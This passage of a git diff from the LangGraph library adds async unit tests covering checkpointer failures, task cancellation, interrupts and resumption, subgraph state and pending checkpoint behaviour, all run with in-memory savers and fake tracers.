Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def respond(state: State) -> dict: + return {"messages": [AIMessage(content="reply", id="ai1")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + graph = builder.compile(checkpointer=InMemorySaver()) + config = {"configurable": {"thread_id": "delta-exit-test"}} + + result = graph.invoke( + {"messages": [HumanMessage(content="hello", id="h1")]}, + config, + durability="exit", + ) + assert [m.content for m in result["messages"]] == ["hello", "reply"] + + state = graph.get_state(config) + assert [m.content for m in state.values["messages"]] == ["hello", "reply"] + + +async def test_delta_channel_async_write_ordering() -> None: + """In async mode, DeltaChannel write futures are awaited before the checkpoint + is committed, so aput_writes always precedes aput for delta-channel + checkpoints (those where the delta channel had a versioned write but + is absent from `channel_values`, i.e. no snapshot fired this step).""" + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def respond(state: State) -> dict: + i = len(state["messages"]) + return {"messages": [AIMessage(content=f"r{i}", id=f"ai{i}")]} + + order: list[str] = [] + original_aput_writes = InMemorySaver.aput_writes + original_aput = InMemorySaver.aput + + async def tracked_aput_writes(self, config, writes, task_id, task_path=""): + result = await original_aput_writes(self, config, writes, task_id, task_path) + order.append("aput_writes") + return result + + async def tracked_aput(self, config, checkpoint, metadata, new_versions): + # A "delta" checkpoint here = `messages` versioned but absent from + # `channel_values` (no snapshot fired). When a snapshot does fire, + # `channel_values["messages"]` is a `_DeltaSnapshot` — also a delta + # checkpoint shape, since the writes still have to be persisted + # before the parent checkpoint commits. + channel_values = checkpoint.get("channel_values", {}) + is_delta_step = ( + "messages" in checkpoint.get("channel_versions", {}) + and "messages" not in channel_values + ) + order.append("aput_delta" if is_delta_step else "aput_other") + return await original_aput(self, config, checkpoint, metadata, new_versions) + + InMemorySaver.aput_writes = tracked_aput_writes + InMemorySaver.aput = tracked_aput + try: + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + graph = builder.compile(checkpointer=InMemorySaver()) + config = {"configurable": {"thread_id": "async-ordering-test"}} + + for i in range(3): + await graph.ainvoke( + {"messages": [HumanMessage(content=f"h{i}", id=f"h{i}")]}, config + ) + + # Every aput_delta must be preceded by at least one aput_writes + for i, event in enumerate(order): + if event == "aput_delta": + preceding = order[:i] + assert "aput_writes" in preceding, ( + f"aput_delta at {i} had no preceding aput_writes: {order}" + ) + last_write_idx = max( + j for j, e in enumerate(order[:i]) if e == "aput_writes" + ) + assert last_write_idx < i, ( + f"aput_writes at {last_write_idx} should precede aput_delta at {i}: {order}" + ) + finally: + InMemorySaver.aput_writes = original_aput_writes + InMemorySaver.aput = original_aput + + state = await graph.aget_state(config) + assert len(state.values["messages"]) == 6 # 3 human + 3 AI diff --git a/libs/langgraph/tests/test_pregel_async.py b/libs/langgraph/tests/test_pregel_async.py new file mode 100644 index 0000000..1a1a473 --- /dev/null +++ b/libs/langgraph/tests/test_pregel_async.py @@ -0,0 +1,9729 @@ +import asyncio +import enum +import functools +import gc +import logging +import operator +import random +import sys +import uuid +from collections import Counter, deque +from dataclasses import replace +from time import perf_counter +from typing import ( + Annotated, + Any, + Literal, + Optional, +) +from unittest.mock import patch +from uuid import UUID + +import pytest +from langchain_core.language_models import GenericFakeChatModel +from langchain_core.messages import HumanMessage +from langchain_core.runnables import RunnableConfig, RunnableLambda, RunnablePassthrough +from langchain_core.utils.aiter import aclosing +from langchain_core.version import VERSION as LANGCHAIN_CORE_VERSION +from langgraph.cache.base import BaseCache +from langgraph.checkpoint.base import ( + BaseCheckpointSaver, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, +) +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer +from langgraph.prebuilt.tool_node import ToolNode +from langgraph.store.base import BaseStore +from pydantic import BaseModel, ConfigDict, Field, ValidationError +from pytest_mock import MockerFixture +from syrupy import SnapshotAssertion +from typing_extensions import NotRequired, TypedDict + +from langgraph._internal._constants import CONFIG_KEY_NODE_FINISHED, ERROR, PULL +from langgraph._internal._queue import AsyncQueue +from langgraph.channels.binop import BinaryOperatorAggregate +from langgraph.channels.last_value import LastValue +from langgraph.channels.topic import Topic +from langgraph.errors import ( + GraphRecursionError, + InvalidUpdateError, + NodeError, + ParentCommand, +) +from langgraph.func import entrypoint, task +from langgraph.graph import END, START, StateGraph +from langgraph.graph.message import MessagesState, add_messages +from langgraph.pregel import NodeBuilder, Pregel +from langgraph.pregel._loop import AsyncPregelLoop +from langgraph.pregel._runner import PregelRunner +from langgraph.types import ( + CachePolicy, + Command, + Durability, + Interrupt, + PregelTask, + RetryPolicy, + Send, + StateSnapshot, + StateUpdate, + StreamWriter, + interrupt, +) +from tests.any_str import AnyStr, AnyVersion, FloatBetween, UnsortedSequence +from tests.fake_tracer import FakeTracer +from tests.memory_assert import MemorySaverNoPending +from tests.messages import ( + _AnyIdAIMessage, + _AnyIdAIMessageChunk, + _AnyIdHumanMessage, + _AnyIdToolMessage, +) + +logger = logging.getLogger(__name__) + +pytestmark = pytest.mark.anyio + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +async def test_checkpoint_errors() -> None: + class FaultyGetCheckpointer(InMemorySaver): + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + raise ValueError("Faulty get_tuple") + + class FaultyPutCheckpointer(InMemorySaver): + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + raise ValueError("Faulty put") + + class FaultyPutWritesCheckpointer(InMemorySaver): + async def aput_writes( + self, config: RunnableConfig, writes: list[tuple[str, Any]], task_id: str + ) -> RunnableConfig: + raise ValueError("Faulty put_writes") + + class FaultyVersionCheckpointer(InMemorySaver): + def get_next_version(self, current: int | None, channel: None) -> int: + raise ValueError("Faulty get_next_version") + + class FaultySerializer(JsonPlusSerializer): + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: + raise ValueError("Faulty serializer") + + def logic(inp: str) -> str: + return "" + + builder = StateGraph(Annotated[str, operator.add]) + builder.add_node("agent", logic) + builder.add_edge(START, "agent") + + graph = builder.compile(checkpointer=InMemorySaver(serde=FaultySerializer())) + with pytest.raises(ValueError, match="Faulty serializer"): + await graph.ainvoke("", {"configurable": {"thread_id": "thread-1"}}) + with pytest.raises(ValueError, match="Faulty serializer"): + async for _ in graph.astream("", {"configurable": {"thread_id": "thread-2"}}): + pass + with pytest.raises(ValueError, match="Faulty serializer"): + async for _ in graph.astream_events( + "", {"configurable": {"thread_id": "thread-3"}}, version="v2" + ): + pass + + graph = builder.compile(checkpointer=FaultyGetCheckpointer()) + with pytest.raises(ValueError, match="Faulty get_tuple"): + await graph.ainvoke("", {"configurable": {"thread_id": "thread-1"}}) + with pytest.raises(ValueError, match="Faulty get_tuple"): + async for _ in graph.astream("", {"configurable": {"thread_id": "thread-2"}}): + pass + with pytest.raises(ValueError, match="Faulty get_tuple"): + async for _ in graph.astream_events( + "", {"configurable": {"thread_id": "thread-3"}}, version="v2" + ): + pass + + graph = builder.compile(checkpointer=FaultyPutCheckpointer()) + with pytest.raises(ValueError, match="Faulty put"): + await graph.ainvoke("", {"configurable": {"thread_id": "thread-1"}}) + with pytest.raises(ValueError, match="Faulty put"): + async for _ in graph.astream("", {"configurable": {"thread_id": "thread-2"}}): + pass + with pytest.raises(ValueError, match="Faulty put"): + async for _ in graph.astream_events( + "", {"configurable": {"thread_id": "thread-3"}}, version="v2" + ): + pass + + graph = builder.compile(checkpointer=FaultyVersionCheckpointer()) + with pytest.raises(ValueError, match="Faulty get_next_version"): + await graph.ainvoke("", {"configurable": {"thread_id": "thread-1"}}) + with pytest.raises(ValueError, match="Faulty get_next_version"): + async for _ in graph.astream("", {"configurable": {"thread_id": "thread-2"}}): + pass + with pytest.raises(ValueError, match="Faulty get_next_version"): + async for _ in graph.astream_events( + "", {"configurable": {"thread_id": "thread-3"}}, version="v2" + ): + pass + + # add a parallel node + builder.add_node("parallel", logic) + builder.add_edge(START, "parallel") + graph = builder.compile(checkpointer=FaultyPutWritesCheckpointer()) + with pytest.raises(ValueError, match="Faulty put_writes"): + await graph.ainvoke( + "", {"configurable": {"thread_id": "thread-1"}}, durability="async" + ) + with pytest.raises(ValueError, match="Faulty put_writes"): + async for _ in graph.astream( + "", {"configurable": {"thread_id": "thread-2"}}, durability="async" + ): + pass + with pytest.raises(ValueError, match="Faulty put_writes"): + async for _ in graph.astream_events( + "", + {"configurable": {"thread_id": "thread-3"}}, + version="v2", + durability="async", + ): + pass + + def faulty_reducer(a: Any, b: Any) -> Any: + raise ValueError("Faulty reducer") + + builder = StateGraph(Annotated[str, faulty_reducer]) + builder.add_node("agent", logic) + builder.add_edge(START, "agent") + graph = builder.compile(checkpointer=InMemorySaver()) + + with pytest.raises(ValueError, match="Faulty reducer"): + await graph.ainvoke("", {"configurable": {"thread_id": "thread-1"}}) + with pytest.raises(ValueError, match="Faulty reducer"): + async for _ in graph.astream("", {"configurable": {"thread_id": "thread-2"}}): + pass + with pytest.raises(ValueError, match="Faulty reducer"): + async for _ in graph.astream_events( + "", {"configurable": {"thread_id": "thread-3"}}, version="v2" + ): + pass + + +@NEEDS_CONTEXTVARS +async def test_request_drain_allows_inflight_acall_scheduling( + async_checkpointer: BaseCheckpointSaver, +) -> None: + from langgraph.runtime import RunControl + + @task + async def child(x: int) -> int: + return x + 1 + + control = RunControl() + + @entrypoint(checkpointer=async_checkpointer) + async def graph(x: int) -> int: + control.request_drain() + fut = child(x) + return await fut + + config = {"configurable": {"thread_id": "drain-call-async"}} + + assert await graph.ainvoke(1, config=config, control=control) == 2 + assert control.drain_requested + + +async def test_py_async_with_cancel_behavior() -> None: + """This test confirms that in all versions of Python we support, __aexit__ + is not cancelled when the coroutine containing the async with block is cancelled.""" + + logs: list[str] = [] + + class MyContextManager: + async def __aenter__(self): + logs.append("Entering") + return self + + async def __aexit__(self, exc_type, exc_val, exc_tb): + logs.append("Starting exit") + try: + # Simulate some cleanup work + await asyncio.sleep(2) + logs.append("Cleanup completed") + except asyncio.CancelledError: + logs.append("Cleanup was cancelled!") + raise + logs.append("Exit finished") + + async def main(): + try: + async with MyContextManager(): + logs.append("In context") + await asyncio.sleep(1) + logs.append("This won't print if cancelled") + except asyncio.CancelledError: + logs.append("Context was cancelled") + raise + + # create task + t = asyncio.create_task(main()) + # cancel after 0.2 seconds + await asyncio.sleep(0.2) + t.cancel() + # check logs before cancellation is handled + assert logs == [ + "Entering", + "In context", + ], "Cancelled before cleanup started" + # wait for task to finish + try: + await t + except asyncio.CancelledError: + # check logs after cancellation is handled + assert logs == [ + "Entering", + "In context", + "Starting exit", + "Cleanup completed", + "Exit finished", + "Context was cancelled", + ], "Cleanup started and finished after cancellation" + else: + assert False, "Task should be cancelled" + + +async def test_checkpoint_put_after_cancellation() -> None: + logs: list[str] = [] + + class LongPutCheckpointer(InMemorySaver): + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + logs.append("checkpoint.aput.start") + try: + await asyncio.sleep(1) + return await super().aput(config, checkpoint, metadata, new_versions) + finally: + logs.append("checkpoint.aput.end") + + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + logs.append("awhile.start") + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + finally: + logs.append("awhile.end") + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.set_entry_point("agent") + builder.set_finish_point("agent") + + graph = builder.compile(checkpointer=LongPutCheckpointer()) + thread1 = {"configurable": {"thread_id": "1"}} + + # start the task + t = asyncio.create_task( + graph.ainvoke({"hello": "world"}, thread1, durability="exit") + ) + # cancel after 0.2 seconds + await asyncio.sleep(0.2) + t.cancel() + # check logs before cancellation is handled + assert sorted(logs) == [ + "awhile.start", + ], "Cancelled before checkpoint put started" + # wait for task to finish + try: + await t + except asyncio.CancelledError: + # check logs after cancellation is handled + assert sorted(logs) == [ + "awhile.end", + "awhile.start", + "checkpoint.aput.end", + "checkpoint.aput.start", + ], "Checkpoint put is not cancelled" + else: + assert False, "Task should be cancelled" + + +async def test_checkpoint_put_after_cancellation_stream_anext() -> None: + logs: list[str] = [] + + class LongPutCheckpointer(InMemorySaver): + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + logs.append("checkpoint.aput.start") + try: + await asyncio.sleep(1) + return await super().aput(config, checkpoint, metadata, new_versions) + finally: + logs.append("checkpoint.aput.end") + + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + logs.append("awhile.start") + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + finally: + logs.append("awhile.end") + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.set_entry_point("agent") + builder.set_finish_point("agent") + + graph = builder.compile(checkpointer=LongPutCheckpointer()) + thread1 = {"configurable": {"thread_id": "1"}} + + # start the task + s = graph.astream({"hello": "world"}, thread1, durability="exit") + t = asyncio.create_task(s.__anext__()) + # cancel after 0.2 seconds + await asyncio.sleep(0.2) + t.cancel() + # check logs before cancellation is handled + assert sorted(logs) == [ + "awhile.start", + ], "Cancelled before checkpoint put started" + # wait for task to finish + try: + await t + except asyncio.CancelledError: + # check logs after cancellation is handled + assert sorted(logs) == [ + "awhile.end", + "awhile.start", + "checkpoint.aput.end", + "checkpoint.aput.start", + ], "Checkpoint put is not cancelled" + else: + assert False, "Task should be cancelled" + + +async def test_checkpoint_put_after_cancellation_stream_events_anext() -> None: + logs: list[str] = [] + + class LongPutCheckpointer(InMemorySaver): + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + logs.append("checkpoint.aput.start") + try: + await asyncio.sleep(1) + return await super().aput(config, checkpoint, metadata, new_versions) + finally: + logs.append("checkpoint.aput.end") + + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + logs.append("awhile.start") + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + finally: + logs.append("awhile.end") + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.set_entry_point("agent") + builder.set_finish_point("agent") + + graph = builder.compile(checkpointer=LongPutCheckpointer()) + thread1 = {"configurable": {"thread_id": "1"}} + + # start the task + s = graph.astream_events( + {"hello": "world"}, + thread1, + version="v2", + include_names=["LangGraph"], + durability="exit", + ) + # skip first event (happens right away) + await s.__anext__() + # start the task for 2nd event + t = asyncio.create_task(s.__anext__()) + # cancel after 0.2 seconds + await asyncio.sleep(0.2) + t.cancel() + # check logs before cancellation is handled + assert logs == [ + "awhile.start", + ], "Cancelled before checkpoint put started" + # wait for task to finish + try: + await t + except asyncio.CancelledError: + # check logs after cancellation is handled + assert logs == [ + "awhile.start", + "awhile.end", + "checkpoint.aput.start", + "checkpoint.aput.end", + ], "Checkpoint put is not cancelled" + else: + assert False, "Task should be cancelled" + + +async def test_node_cancellation_on_external_cancel() -> None: + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.set_entry_point("agent") + builder.set_finish_point("agent") + + graph = builder.compile() + + with pytest.raises(asyncio.TimeoutError): + await asyncio.wait_for(graph.ainvoke({"hello": "world"}), 0.5) + + assert inner_task_cancelled + + +async def test_node_cancellation_on_other_node_exception() -> None: + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + try: + await asyncio.sleep(1) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + + async def iambad(input: Any) -> None: + raise ValueError("I am bad") + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.add_node("bad", iambad) + builder.set_conditional_entry_point(lambda _: ["agent", "bad"]) + + graph = builder.compile() + + with pytest.raises(ValueError, match="I am bad"): + # This will raise ValueError, not TimeoutError + await asyncio.wait_for(graph.ainvoke({"hello": "world"}), 0.5) + + assert inner_task_cancelled + + +async def test_node_cancellation_on_other_node_exception_two() -> None: + async def awhile(input: Any) -> None: + await asyncio.sleep(1) + + async def iambad(input: Any) -> None: + raise ValueError("I am bad") + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.add_node("bad", iambad) + builder.set_conditional_entry_point(lambda _: ["agent", "bad"]) + + graph = builder.compile() + + with pytest.raises(ValueError, match="I am bad"): + # This will raise ValueError, not CancelledError + await graph.ainvoke({"hello": "world"}) + + +@NEEDS_CONTEXTVARS +async def test_dynamic_interrupt(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + tool_two_node_count = 0 + + async def tool_two_node(s: State) -> State: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", tool_two_node, retry_policy=RetryPolicy()) + tool_two_graph.add_edge(START, "tool_two") + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert await tool_two.ainvoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]} + ) == { + "my_key": "value", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value"} + + assert await tool_two.ainvoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=async_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + await tool_two.ainvoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c + async for c in tool_two.astream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + # resume with answer + assert [ + c async for c in tool_two.astream(Command(resume=" my answer"), thread2) + ] == [ + {"tool_two": {"my_key": " my answer"}}, + ] + + # flow: interrupt -> clear + thread1 = {"configurable": {"thread_id": "1"}} + # stop when about to enter node + assert [ + c + async for c in tool_two.astream( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + assert [c.metadata async for c in tool_two.checkpointer.alist(thread1)] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + tup = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ), + ), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + + # clear the interrupt and next tasks + await tool_two.aupdate_state(thread1, None, as_node=END) + # interrupt is cleared, as well as the next tasks + tup = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=(), + tasks=(), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=( + [c async for c in tool_two.checkpointer.alist(thread1, limit=2)][-1].config + ), + interrupts=(), + ) + + +@NEEDS_CONTEXTVARS +async def test_dynamic_interrupt_subgraph( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class SubgraphState(TypedDict): + my_key: str + market: str + + tool_two_node_count = 0 + + def tool_two_node(s: SubgraphState) -> SubgraphState: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + subgraph = StateGraph(SubgraphState) + subgraph.add_node("do", tool_two_node, retry_policy=RetryPolicy()) + subgraph.add_edge(START, "do") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", subgraph.compile()) + tool_two_graph.add_edge(START, "tool_two") + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert await tool_two.ainvoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]} + ) == { + "my_key": "value", + "market": "DE", + "__interrupt__": [ + Interrupt( + value="Just because...", + id=AnyStr(), + ) + ], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value"} + + assert await tool_two.ainvoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=async_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + await tool_two.ainvoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c + async for c in tool_two.astream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + # resume with answer + assert [ + c async for c in tool_two.astream(Command(resume=" my answer"), thread2) + ] == [ + {"tool_two": {"my_key": " my answer", "market": "DE"}}, + ] + + # flow: interrupt -> clear + thread1 = {"configurable": {"thread_id": "1"}} + thread1root = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + # stop when about to enter node + assert [ + c + async for c in tool_two.astream( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + ] + assert [c.metadata async for c in tool_two.checkpointer.alist(thread1root)] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + tup = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + state={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": AnyStr("tool_two:"), + } + }, + ), + ), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + + # clear the interrupt and next tasks + await tool_two.aupdate_state(thread1, None, as_node=END) + # interrupt is cleared, as well as the next tasks + tup = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️", "market": "DE"}, + next=(), + tasks=(), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=( + [c async for c in tool_two.checkpointer.alist(thread1root, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + +@NEEDS_CONTEXTVARS +async def test_partial_pending_checkpoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + market: str + + def tool_one(s: State) -> State: + return {"my_key": " one"} + + tool_two_node_count = 0 + + def tool_two_node(s: State) -> State: + nonlocal tool_two_node_count + tool_two_node_count += 1 + if s["market"] == "DE": + answer = interrupt("Just because...") + else: + answer = " all good" + return {"my_key": answer} + + def start(state: State) -> list[Send | str]: + return ["tool_two", Send("tool_one", state)] + + tool_two_graph = StateGraph(State) + tool_two_graph.add_node("tool_two", tool_two_node, retry_policy=RetryPolicy()) + tool_two_graph.add_node("tool_one", tool_one) + tool_two_graph.set_conditional_entry_point(start) + tool_two = tool_two_graph.compile() + + tracer = FakeTracer() + assert await tool_two.ainvoke( + {"my_key": "value", "market": "DE"}, {"callbacks": [tracer]}, debug=True + ) == { + "my_key": "value one", + "market": "DE", + "__interrupt__": [Interrupt(value="Just because...", id=AnyStr())], + } + assert tool_two_node_count == 1, "interrupts aren't retried" + assert len(tracer.runs) == 1 + run = tracer.runs[0] + assert run.end_time is not None + assert run.error is None + assert run.outputs == {"market": "DE", "my_key": "value one"} + + assert await tool_two.ainvoke({"my_key": "value", "market": "US"}) == { + "my_key": "value all good one", + "market": "US", + } + + tool_two = tool_two_graph.compile(checkpointer=async_checkpointer) + + # missing thread_id + with pytest.raises(ValueError, match="thread_id"): + await tool_two.ainvoke({"my_key": "value", "market": "DE"}) + + # flow: interrupt -> resume with answer + thread2 = {"configurable": {"thread_id": "2"}} + # stop when about to enter node + assert [ + c + async for c in tool_two.astream({"my_key": "value ⛰️", "market": "DE"}, thread2) + ] == UnsortedSequence( + { + "__interrupt__": ( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ) + }, + { + "tool_one": {"my_key": " one"}, + }, + ) + # resume with answer + assert [ + c async for c in tool_two.astream(Command(resume=" my answer"), thread2) + ] == [ + { + "__metadata__": {"cached": True}, + "tool_one": {"my_key": " one"}, + }, + {"tool_two": {"my_key": " my answer"}}, + ] + + # flow: interrupt -> clear tasks + thread1 = {"configurable": {"thread_id": "1"}} + # stop when about to enter node + assert await tool_two.ainvoke( + {"my_key": "value ⛰️", "market": "DE"}, thread1, durability="exit" + ) == { + "my_key": "value ⛰️ one", + "market": "DE", + "__interrupt__": [ + Interrupt( + value="Just because...", + id=AnyStr(), + ) + ], + } + + assert [c.metadata async for c in tool_two.checkpointer.alist(thread1)] == [ + { + "parents": {}, + "source": "loop", + "step": 0, + }, + ] + + tup = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️ one", "market": "DE"}, + next=("tool_two",), + tasks=( + PregelTask( + AnyStr(), + name="tool_one", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result={"my_key": " one"}, + ), + PregelTask( + AnyStr(), + "tool_two", + (PULL, "tool_two"), + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ), + ), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=( + Interrupt( + value="Just because...", + id=AnyStr(), + ), + ), + ) + + # clear the interrupt and next tasks + await tool_two.aupdate_state(thread1, None, as_node=END) + # interrupt and next tasks are cleared, finished tasks are kept + tup_upd = await tool_two.checkpointer.aget_tuple(thread1) + assert await tool_two.aget_state(thread1) == StateSnapshot( + values={"my_key": "value ⛰️ one", "market": "DE"}, + next=(), + tasks=(), + config=tup_upd.config, + created_at=tup_upd.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 1, + }, + parent_config=tup.config, + interrupts=(), + ) + + +@NEEDS_CONTEXTVARS +async def test_node_not_cancelled_on_other_node_interrupted( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class State(TypedDict): + hello: Annotated[str, operator.add] + + awhiles = 0 + inner_task_cancelled = False + + async def awhile(input: State) -> None: + nonlocal awhiles + + awhiles += 1 + try: + await asyncio.sleep(1) + return {"hello": " again"} + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + + async def iambad(input: State) -> None: + return {"hello": interrupt("I am bad")} + + builder = StateGraph(State) + builder.add_node("agent", awhile) + builder.add_node("bad", iambad) + builder.set_conditional_entry_point(lambda _: ["agent", "bad"]) + + graph = builder.compile(checkpointer=async_checkpointer) + thread = {"configurable": {"thread_id": "1"}} + + # writes from "awhile" are applied to last chunk + assert await graph.ainvoke({"hello": "world"}, thread) == { + "hello": "world again", + "__interrupt__": [ + Interrupt( + value="I am bad", + id=AnyStr(), + ) + ], + } + + assert not inner_task_cancelled + assert awhiles == 1 + + assert await graph.ainvoke(None, thread, debug=True) == { + "hello": "world again", + "__interrupt__": [ + Interrupt( + value="I am bad", + id=AnyStr(), + ) + ], + } + + assert not inner_task_cancelled + assert awhiles == 1 + + # resume with answer + assert await graph.ainvoke(Command(resume=" okay"), thread) == { + "hello": "world again okay" + } + + assert not inner_task_cancelled + assert awhiles == 1 + + +@pytest.mark.parametrize("stream_hang_s", [0.3, 0.6]) +async def test_step_timeout_on_stream_hang(stream_hang_s: float) -> None: + inner_task_cancelled = False + + async def awhile(input: Any) -> None: + try: + await asyncio.sleep(1.5) + except asyncio.CancelledError: + nonlocal inner_task_cancelled + inner_task_cancelled = True + raise + + async def alittlewhile(input: Any) -> None: + await asyncio.sleep(0.6) + return {"hello": "1"} + + class State(TypedDict): + hello: str + + builder = StateGraph(State) + builder.add_node(awhile) + builder.add_node(alittlewhile) + 